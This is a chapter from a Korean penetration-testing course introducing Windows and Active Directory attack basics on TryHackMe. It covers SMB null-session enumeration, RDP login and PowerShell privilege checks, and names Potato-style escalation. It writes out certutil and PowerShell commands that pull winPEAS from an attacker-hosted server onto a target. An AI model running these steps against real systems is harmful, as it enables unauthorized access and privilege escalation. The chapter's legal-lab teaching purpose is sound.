Step 254. THM 윈도우/AD 입문 룸 (누적 18) — 기업 환경의 주인공을 만나다
Level 3 — CTF 실전과 공격 스킬 심화 | 난이도 ★★★☆☆ | 예상 소요 시간 4시간
전제: Step 11~14(윈도우 기본과 PowerShell 입문), Step 251~253(THM 환경과 루틴, 누적 13개)를 마쳤다.
- 준비물: Step 251의 THM 환경(OpenVPN 포함), 내 윈도우 PC(로컬 실측 연습용 — 실측: Windows 10/11 한글판), 루틴 기록 문서.
- ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다. TryHackMe(
tryhackme.com)는 운영자가 공격 연습용으로 공식 개방한 합법 학습 플랫폼입니다 — 이 플랫폼의 룸 머신과 내 윈도우 PC 외에는 오늘의 기술을 쓰지 않습니다. - 실측 안내: 3-1~3-2의 윈도우 명령 출력은 내 PC에서의 실측(2026-09-09)입니다. THM 머신 위의 RDP 접속과 공략 장면은 전부 화면 예시입니다.
지금까지 여러분이 깨 온 머신은 전부 리눅스였습니다. 그런데 실제 기업 환경의 주인공은 윈도우입니다 — 사무실 PC, 파일 서버, 그리고 그 전체를 관리하는 Active Directory(AD)까지. 오늘부터는 공격 표면이 완전히 바뀝니다. SSH 대신 RDP, bash 대신 PowerShell, /etc/passwd 대신 도메인 계정.
THM의 윈도우 입문 룸들(Windows Fundamentals 계열, Blue 등)은 이 새 세계의 안내자입니다. 오늘의 목표는 누적 18개라는 숫자보다, 윈도우 머신을 보는 눈을 얻는 것입니다 — 어떤 포트가 열리면 무엇을 의심하는지, 쉘을 얻으면 무엇부터 치는지.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- 윈도우 머신의 대표 서비스 포트(SMB 445, RDP 3389, WinRM 5985)를 보고 접근 전략을 세운다
smbclient로 공유 폴더를 열거하고,xfreerdp로 RDP 접속을 시도한다- PowerShell 기본 열거 명령(
Get-Process,Get-Service,whoami /priv)을 읽는다 - 윈도우 타깃에 파일을 옮기는 방법 3가지(certutil, PowerShell 다운로드, SMB)를 설명한다
- workgroup과 domain의 차이, 도메인 컨트롤러(DC)의 역할을 한 문장씩 말할 수 있다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | THM 윈도우 룸 머신 + 공격 머신(Kali/WSL) + 내 윈도우 PC(로컬 연습) |
| 오늘의 명령 | smbclient -L //IP, xfreerdp /u:사용자 /v:IP, whoami /priv, Get-Service |
| 필요한 개념 | SMB 공유, RDP, WinRM, PowerShell 열거, workgroup vs domain, DC |
| 오늘의 산출물 | 누적 18개 완료 + 윈도우 기본 열거 루틴 추가 |
2-1. 포트가 달라진다 — 윈도우의 대표 세 서비스
리눅스 머신에서 nmap 결과의 주인공은 22(SSH)와 80(HTTP)이었습니다. 윈도우 머신에서는 얼굴이 다른 포트들이 등장합니다.
| 포트 | 서비스 | 하는 일 | 공격자의 시선 |
|---|---|---|---|
| 445 | SMB | 파일·프린터 공유 | 공유 폴더 열거, 익명 접근, 자격증명 탈취 |
| 3389 | RDP | 원격 데스크톱 화면 접속 | 계정을 얻으면 GUI 통째로 로그인 |
| 5985/5986 | WinRM | 원격 명령 실행 관리 | 계정을 얻으면 쉘 수준의 원격 실행 |
SSH가 "명령줄의 문"이라면 RDP는 "화면 전체의 문"입니다. 계정과 암호 하나로 그래픽 화면이 통째로 열리기 때문에, 윈도우 머신에서 자격증명의 무게가 리눅스보다 훨씬 큽니다.
2-2. SMB 열거 — 윈도우 머신의 첫 인사
SMB(Server Message Block)는 윈도우 파일 공유의 표준 프로토콜입니다. 리눅스 공격 머신에서는 smbclient로 이 공유를 들여다봅니다.
# 대상의 공유 목록 보기 (화면 예시)
smbclient -L //10.10.10.10 -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
SharedDocs Disk
읽는 법: -N은 암호 없이(null 세션) 물어보라는 뜻입니다. ADMIN$, C$, IPC$처럼 $가 붙은 것은 관리용 기본 공유라 정상입니다. 눈여겨볼 것은 SharedDocs 같은 사용자가 만든 공유입니다 — 익명으로 읽히는 공유에 설정 파일이나 암호 메모가 들어 있는 것이 Easy 룸의 단골 구조입니다.
2-3. RDP 접속 — 화면을 통째로 빌리기
계정과 암호를 얻었다면 RDP(Remote Desktop Protocol)로 접속합니다. 리눅스 공격 머신에서는 xfreerdp가 표준 클라이언트입니다.
# (화면 예시) 사용자명과 대상 IP로 접속
xfreerdp /u:사용자명 /p:암호 /v:10.10.10.10 /cert:ignore
THM의 윈도우 룸 상당수는 아예 룸 페이지에서 RDP 자격증명을 나눠 주며 "접속해 보세요"로 시작합니다 — 입문 단계에서 RDP는 공격의 결과가 아니라 실습의 출발점입니다. /cert:ignore는 자체 서명 인증서 경고를 넘기는 옵션으로, 랩 머신에서는 늘 필요하다고 보면 됩니다.
2-4. PowerShell 열거 — 리눅스와 뭐가 다른가
윈도우 머신에서 쉘(또는 RDP 세션)을 얻으면 열거는 PowerShell로 합니다. Step 13~14에서 배운 명령을 공격자 관점으로 다시 봅니다.
| 목적 | 리눅스 | 윈도우(PowerShell/cmd) |
|---|---|---|
| 내가 누구인가 | whoami, id |
whoami, whoami /priv |
| 프로세스 보기 | ps aux |
Get-Process |
| 서비스 보기 | systemctl list-units |
Get-Service |
| 네트워크 상태 | ip a, ss -tlnp |
ipconfig /all, netstat -ano |
| 사용자 목록 | cat /etc/passwd |
net user |
여기서 가장 중요한 한 개는 whoami /priv입니다. 내 계정에 달린 권한(privilege) 목록을 보여 주는데, 이 출력이 윈도우 권한 상승의 지도입니다. 3-2에서 실제 출력을 봅니다.
2-5. 도메인 맛보기 — 회사 전체를 관리하는 구조
지금까지의 머신은 전부 "혼자 있는 PC"였습니다. 이런 상태를 워크그룹(workgroup)이라고 합니다 — 각 PC가 자기 계정 장부를 따로 듭니다.
도메인(domain)은 다릅니다. 회사의 수백 대 PC가 한 장부를 공유하는 구조이고, 그 장부를 들고 있는 서버가 도메인 컨트롤러(Domain Controller, DC)입니다. 직원은 어느 PC에서든 같은 계정으로 로그인합니다 — 계정 확인을 DC가 대신 해 주기 때문입니다.
워크그룹: PC1(장부1) PC2(장부2) PC3(장부3) ← 각자 따로
도메인: PC1 ─┐
PC2 ─┼─ DC(공용 장부: 사용자, 그룹, 정책)
PC3 ─┘
공격자에게 이 구조의 의미는 명확합니다 — DC를 장악하면 도메인의 모든 계정과 모든 PC가 따라옵니다. 오늘은 이 세계의 입구에서 개념만 잡고 갑니다. AD 본격 공략은 뒤쪽 챕터의 몫입니다.
3. 따라 하기
3-1~3-2는 여러분의 윈도우 PC에서 지금 바로 실행해 보는 실측 구간이고, 3-3~3-5는 THM 머신 위의 흐름(화면 예시)입니다.
3-1. 내 PC에서 시작하는 윈도우 열거
공격 대상 머신이 없어도 열거 명령은 연습할 수 있습니다 — 내 PC가 최고의 연습 표적입니다. PowerShell을 열고 따라 쳐 보세요.
입력:
Get-Process | Sort-Object CPU -Descending | Select-Object -First 6 Name, Id, CPU
출력 (내 PC 실측, 2026-09-09):
Name Id CPU
---- -- ---
ChatGPT 41684 16405.875
ChatGPT 5408 15141.828125
cloud-drive-daemon 24832 11939.015625
Kimi 23744 4457.078125
ChatGPT 28216 3453.796875
AdskIdentityManager 21440 2452.09375
읽는 법: CPU 시간 순으로 나열했습니다. 침투한 머신에서 이 명령을 치는 이유는 "이 PC에서 뭐가 돌고 있는가"를 파악하기 위해서입니다 — 백신, 백업 에이전트, 관리 도구가 보이면 행동 방침이 달라집니다. 여러분의 출력은 당연히 다릅니다. 실행 중인 서비스 수도 확인해 보세요.
(Get-Service | Where-Object {$_.Status -eq 'Running'}).Count
148
읽는 법 (실측: 148개): 일반 사용자 PC에도 백 단위의 서비스가 돌고 있습니다. 침투 머신에서 서비스 목록을 볼 때는 이 숫자가 아니라 "비정상적으로 눈에 띄는 이름"을 찾는 것이 목표입니다.
3-2. whoami /priv — 권한 상승의 지도
이번에는 cmd(명령 프롬프트)에서 치는 명령입니다. PowerShell에서도 됩니다.
입력:
whoami /priv
출력 (내 PC 실측, 2026-09-09 — 한글 윈도우는 결과가 한글로 나옵니다):
사용 권한 이름 설명 상태
============================= ============================= ==========
SeShutdownPrivilege 시스템 종료 사용 안 함
SeChangeNotifyPrivilege 트래버스 검사 무시 사용
SeUndockPrivilege 도킹 스테이션에서 컴퓨터 제거 사용 안 함
SeIncreaseWorkingSetPrivilege 프로세스 작업 집합 향상 사용 안 함
SeTimeZonePrivilege 시간대 변경 사용 안 함
읽는 법: 일반 사용자는 이 정도가 전부입니다. 공격자가 찾는 것은 여기에 없습니다 — SeImpersonatePrivilege(다른 사용자인 척할 수 있는 권한)나 SeDebugPrivilege(아무 프로세스나 들여다보는 권한) 같은 것들입니다. 이 둘이 보이면 윈도우 권한 상승의 유명한 사다리(PrintSpoofer, GodPotato 계열)가 열립니다. 침투 머신에서 whoami /priv를 쳤을 때 이 이름들이 있으면 "이 판은 풀렸다"고 봐도 됩니다.
3-3. THM 윈도우 룸 진입 — RDP로 첫 접속
이제 THM으로 갑니다. Windows Fundamentals 계열 룸을 열고 머신을 시작하면, 룸 페이지가 RDP 자격증명을 보여 줍니다 (화면 예시):
Machine IP: 10.10.10.10
Username: user
Password: TryHackMe123!
공격 머신(Kali/WSL)에서 접속합니다 (화면 예시):
xfreerdp /u:user /p:'TryHackMe123!' /v:10.10.10.10 /cert:ignore
[20:00:01:123] [INFO] com.freerdp.core - freerdp_connect:freerdp_set_last_error_ex resetting error state
[20:00:02:456] [INFO] com.freerdp.client.common - Network disconnect!
읽는 법: 별도 창이 뜨며 목표 머신의 바탕화면이 그대로 열리면 성공입니다. 앞으로 몇 시간 동안 여러분은 "남의 윈도우 PC"를 원격으로 쓰는 겁니다. 창이 안 뜨고 에러가 나면 6번 섹션의 벽 2를 보세요.
3-4. Blue 류 룸의 공략 흐름 — nmap에서 SMB까지
윈도우 침투 입문 룸(Blue 등)의 전형적인 흐름입니다. 화면은 예시입니다.
입력 (화면 예시):
nmap -sV -p- 10.10.10.10
출력 예시:
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds
3389/tcp open ms-wbt-server Microsoft Terminal Services
읽는 법: 리눅스 머신과 풍경이 다릅니다 — 445(SMB)와 3389(RDP)가 보이면 "이건 윈도우"입니다. 게다가 -sV가 운영체제와 서비스팩 버전까지 읽어 줍니다. 이 버전 정보가 곧 가설입니다 — "Windows 7 SP1? 알려진 취약점이 있지 않을까?" 여기서부터 검색과 검증의 사이클이 시작됩니다. 룸의 질문 목록("몇 개의 포트가 열려 있는가?", "이 머신의 취약점 CVE 번호는?")이 이 순서를 안내해 줍니다.
3-5. 파일 옮기기 3법 — 윈도우의 고유한 난관
윈도우 머신 공략에서 초보자가 처음 부딪히는 벽은 "공격 머신에 있는 파일을 윈도우 타깃에 어떻게 올리는가"입니다. 대표적인 세 가지를 익혀 두세요.
① certutil (cmd에서)
certutil -urlcache -split -f http://내IP:8000/winPEAS.exe wp.exe
→ 윈도우 기본 내장 도구라 따로 설치가 필요 없다
② PowerShell 웹 다운로드
powershell -c "iwr http://내IP:8000/winPEAS.exe -OutFile wp.exe"
→ 최신 윈도우에서 가장 흔히 쓰는 방식
③ SMB 공유 경유
공격 머신에서 smb 서버를 열고, 타깃에서 \\내IP\share\wp.exe 로 복사
→ 방화벽이 HTTP를 막을 때의 우회로
읽는 법: ①②는 공격 머신에서 python3 -m http.server 8000으로 파일을 서빙해 두고 받는 방식입니다 — 리눅스에서 wget하던 습관의 윈도우판입니다. winPEAS(윈도우 권한 상승 자동 열거 도구, linPEAS의 윈도우 버전)를 올리는 것이 이 기술의 첫 실전 용도가 될 것입니다.
4. 미션과 연습문제
미션 — 윈도우 루틴 확립과 누적 18개
- 내 윈도우 PC에서 3-1~3-2의 명령을 직접 실행하고 출력을 기록합니다 (특히
whoami /priv의 권한 목록) - THM에서 윈도우 입문 룸을 진행합니다 — Windows Fundamentals 계열 1개 이상 + 침투 입문 룸(Blue 등)까지 합해 누적 18개를 채웁니다
- 윈도우 머신 하나에서 RDP 접속 → PowerShell 열거 → 파일 전송(3-5 중 한 가지)을 실제로 해 봅니다
- nmap 결과에서 445/3389/5985가 보인 머신의 접근 순서를 메모합니다 ("SMB 열거 먼저" 같은 나만의 순서)
- 루틴 기록 문서(Step 251의 템플릿)에 "윈도우 머신 전용" 섹션을 추가합니다 — 리눅스와 명령이 다른 부분만 정리
- workgroup/domain/DC 세 단어를, 책을 보지 않고 한 문장씩 써 봅니다
연습문제
문제 1. nmap 결과에서 445, 3389, 5985 포트가 각각 보일 때, 공격자가 처음 시도해 볼 행동을 포트별로 하나씩 써 보세요.
문제 2. whoami /priv 출력에서 공격자가 특히 반기는 권한 두 개를 들고, 그 이유를 설명해 보세요.
문제 3. 워크그룹 환경과 도메인 환경에서 "한 PC의 관리자 암호를 얻었을 때"의 파급 범위가 어떻게 다른지 설명해 보세요.
문제 4. 리눅스 타깃에는 wget http://내IP/도구 한 줄이면 도구를 올릴 수 있는데, 윈도우 타깃에서는 왜 별도의 "파일 옮기기 3법"을 배워야 하는지 설명해 보세요.
5. 모범 답안과 완료 기준
미션 모범 답안
루틴 문서에 추가하는 "윈도우 전용" 섹션의 형태 예시입니다:
### 윈도우 머신 전용 루틴 (Step 254 추가)
- 정찰: nmap에서 445/3389/5985 보이면 윈도우 → -sV로 OS 버전 꼭 확인
- SMB: smbclient -L //IP -N → $ 없는 공유부터 열거
- RDP: 자격증명 얻으면 xfreerdp /u: /p: /v:IP /cert:ignore
- 쉘 획득 후 첫 명령: whoami /priv → systeminfo → Get-Service
- 권한 체크: SeImpersonate / SeDebug 보이면 감자 계열(Potato) 경로 검토
- 파일 전송: python3 -m http.server + certutil 또는 iwr
검증하는 법: ① THM 프로필의 누적 완료 수가 18인가. ② 내 PC의 whoami /priv 출력이 기록에 있는가. ③ RDP로 접속한 머신에서 PowerShell 명령을 쳐 본 증거(스크린샷이나 기록)가 있는가. ④ 루틴 문서에 윈도우 섹션이 실제 명령과 함께 존재하는가. ⑤ 도메인 세 단어 설명을 책 없이 썼는가.
연습문제 해답
문제 1 해답. 445(SMB)는 smbclient -L //IP -N으로 익명 공유 열거부터 — 읽히는 공유에서 자격증명이나 설정 파일이 나오는 경우가 많습니다. 3389(RDP)는 얻은 자격증명으로 xfreerdp 로그인 시도 — 아직 계정이 없다면 일단 "나중에 쓸 문"으로 표시만 해 둡니다. 5985(WinRM)는 계정을 얻은 뒤 원격 명령 실행(예: evil-winrm)의 통로로 씁니다. 셋 다 "익명으로 되는 것부터, 계정이 필요한 것은 후순위"가 원칙입니다.
문제 2 해답. SeImpersonatePrivilege와 SeDebugPrivilege입니다. SeImpersonatePrivilege는 "다른 사용자의 행세를 할 수 있는" 권한으로, PrintSpoofer·GodPotato 같은 일명 ‘감자’ 계열 익스플로잇이 이 권한을 이용해 SYSTEM으로 상승합니다 — 서비스 계정에 흔히 달려 있어서 웹 쉘로 침투했을 때 자주 만납니다. SeDebugPrivilege는 아무 프로세스에나 붙어 메모리를 읽을 수 있어, 관리자 프로세스에서 자격증명을 뽑는 경로가 열립니다.
문제 3 해답. 워크그룹에서는 각 PC가 자기 계정 장부를 따로 들고 있으므로, 한 PC의 암호를 얻어도 원칙적으로 그 PC 하나만 열립니다(암호 재사용이 없다는 전제). 도메인에서는 계정 장부가 DC 한곳에 있으므로, 도메인 계정 하나를 얻으면 그 계정이 허용된 도메인 내 모든 PC에서 로그인이 되고, 나아가 DC를 장악하면 도메인 전체가 열립니다. 그래서 도메인 환경에서는 "한 대의 침해"가 "전체의 침해"로 번지는 경로가 구조적으로 존재합니다.
문제 4 해답. 리눅스는 wget과 curl이 사실상 항상 깔려 있어 "다운로드"가 기본 명령 하나로 끝납니다. 윈도우에는 이에 해당하는 범용 명령줄 다운로더가 오래 없었고, 버전과 환경에 따라 쓸 수 있는 도구가 달라집니다 — 구형에는 certutil이 안전한 편이고, 최신에는 PowerShell의 iwr(Invoke-WebRequest)이 표준이며, HTTP가 막힌 환경에서는 SMB 공유 경유 같은 우회가 필요합니다. 게다가 침투한 계정의 권한으로 쓸 수 있는 도구가 제한되므로, 여러 수단을 알아 둬야 그중 되는 것을 고를 수 있습니다.
완료 기준 체크리스트
- [ ] 내 PC에서
whoami /priv출력을 직접 확인하고 기록했다 - [ ] 445/3389/5985 포트의 의미와 첫 행동을 말할 수 있다
- [ ]
smbclient -L //IP -N으로 공유 열거를 해 봤다 - [ ]
xfreerdp로 윈도우 머신에 RDP 접속해 봤다 - [ ] 파일 옮기기 3법(certutil, iwr, SMB)을 설명할 수 있다
- [ ] THM 누적 18개를 완료했다
- [ ] 루틴 문서에 윈도우 전용 섹션을 추가했다
- [ ] workgroup/domain/DC를 한 문장씩 설명할 수 있다
6. 흔한 실수와 해결
벽 1. smbclient -L //IP -N이 통과를 거부한다
증상 (출력 예시):
session setup failed: NT_STATUS_ACCESS_DENIED
원인: 그 머신이 익명(null 세션) 열거를 막아 둔 것입니다. 최신 윈도우는 기본이 거부입니다.
해결: 정상 상황이니 당황하지 마세요. 얻은 자격증명이 있다면 smbclient -L //IP -U 사용자명%암호로 인증 열거를 하고, 없다면 다른 포트로 조사를 넓히세요. "익명 거부 = 막힘"이 아니라 "익명 거부 = 이 룸의 입구는 SMB가 아님"이라는 정보입니다.
벽 2. xfreerdp 접속이 인증서 경고에서 멈춘다
증상 (출력 예시):
[ERROR] com.freerdp.core.transport - ... certificate verification failed
원인: 랩 머신은 자체 서명 인증서를 쓰고, freerdp는 기본적으로 이를 검증하려 듭니다.
해결: /cert:ignore 옵션을 붙이세요. 구버전 freerdp라면 /cert-ignore 형식입니다.
벽 3. RDP 창이 뜨자마자 검은 화면이거나 바로 닫힌다
증상: 접속은 되는 듯한데 화면이 검게 나오거나 세션이 끊깁니다.
원인: 화면 크기 협상 실패이거나, 이미 다른 세션이 잡고 있는 경우가 많습니다.
해결: /size:1280x720으로 해상도를 고정해 보세요. 그래도 안 되면 /admin 옵션(관리 세션)을 추가하거나, 머신을 재시작한 뒤 다시 접속하세요. WSL에서 창이 아예 안 뜨는 경우는 X 서버 문제입니다 — THM의 웹 AttackBox나 내 윈도우의 "원격 데스크톱 연결"(mstsc)로 우회할 수 있습니다.
벽 4. certutil 다운로드가 안 되고 사라진다
증상: certutil -urlcache -split -f ...를 쳤는데 파일이 안 생깁니다.
원인 셋 중 하나: ① 공격 머신의 http.server가 안 켜져 있거나 IP가 틀림, ② 백신(Defender)이 받자마자 지움, ③ 프록시/방화벽.
해결: ① 공격 머신에서 python3 -m http.server 8000이 떠 있는지, 타깃에서 보이는 내 IP(ip addr show tun0)가 맞는지 확인. ② 받은 즉시 파일이 사라지면 백신 탐지입니다 — 랩에서는 실습용 폴더 예외 처리나 다른 전송 경로(SMB)를 쓰세요. certutil의 "다운로드 기능"은 백신이 표적으로 삼는 단골 행위라는 점을 기억해 두세요.
벽 5. whoami /priv에 특별한 권한이 하나도 없다
증상: 실습 머신에서 쳤는데 3-2처럼 평범한 권한만 나옵니다.
원인: 지금 잡은 쉘의 계정이 일반 사용자이고, 이 머신의 상승 경로가 privilege 계열이 아닌 것입니다.
해결: 권한 목록은 지도의 한 조각일 뿐입니다. 다른 갈래를 보세요 — systeminfo의 OS 버전(커널 익스플로잇 후보), Get-Service의 비정상 서비스, net user의 다른 계정, AlwaysInstallElevated 같은 설정 꼬임. 윈도우 상승은 "하나가 안 되면 다음 갈래"의 반복이며, 그 갈래 목록 전체는 뒤의 윈도우 privesc 챕터에서 정리합니다.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| SMB (445) | 윈도우 파일·프린터 공유 프로토콜 — 익명 열거가 첫 관문 |
| RDP (3389) | 원격 데스크톱 — 자격증명 하나로 GUI 전체 접속 |
| WinRM (5985/5986) | 윈도우 원격 관리 — 계정 획득 후 원격 명령 실행 통로 |
| null 세션 | 암호 없이 SMB에 물어보는 익명 접속 (-N) |
| whoami /priv | 내 계정의 권한 목록 — 윈도우 상승 경로의 지도 |
| SeImpersonatePrivilege | 다른 사용자인 척할 수 있는 권한 — 감자 계열의 표적 |
| 워크그룹 | 각 PC가 계정 장부를 따로 두는 구조 |
| 도메인 / DC | 공용 계정 장부 구조 / 그 장부를 든 서버(도메인 컨트롤러) |
| winPEAS | 윈도우 권한 상승 자동 열거 도구 (linPEAS의 윈도우판) |
오늘의 명령어·도구
| 명령 | 하는 일 |
|---|---|
smbclient -L //IP -N |
SMB 공유 익명 열거 |
xfreerdp /u:사용자 /p:암호 /v:IP /cert:ignore |
RDP 원격 데스크톱 접속 |
whoami /priv |
내 권한(privilege) 목록 확인 |
Get-Process, Get-Service |
프로세스·서비스 열거 (PowerShell) |
certutil -urlcache -split -f URL 파일 |
윈도우 기본 도구로 다운로드 |
iwr URL -OutFile 파일 |
PowerShell 웹 다운로드 |
python3 -m http.server 8000 |
공격 머신 측 파일 서빙 |
명령어보다 중요한 감각
윈도우 머신에서 리눅스 감각은 절반만 통합니다. 포트의 얼굴이 다르고(445/3389), 자격증명의 무게가 다르고(RDP 하나에 화면 전체), 도구를 옮기는 일조차 기술입니다. 오늘 익힌 것은 명령 몇 개가 아니라 "윈도우 머신을 만났을 때의 첫 5분"입니다 — nmap에서 445와 3389를 보고, SMB를 두드리고, 쉘을 얻으면 whoami /priv부터 치는 순서. 그리고 도메인이라는 개념의 입구에 섰습니다. 워크그룹의 PC 한 대와 도메인의 PC 한 대는 공격자에게 전혀 다른 의미라는 것 — 이 감각이 뒤쪽 AD 챕터 전체의 밑바닥이 됩니다.
전부 체크되면 Step 254 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.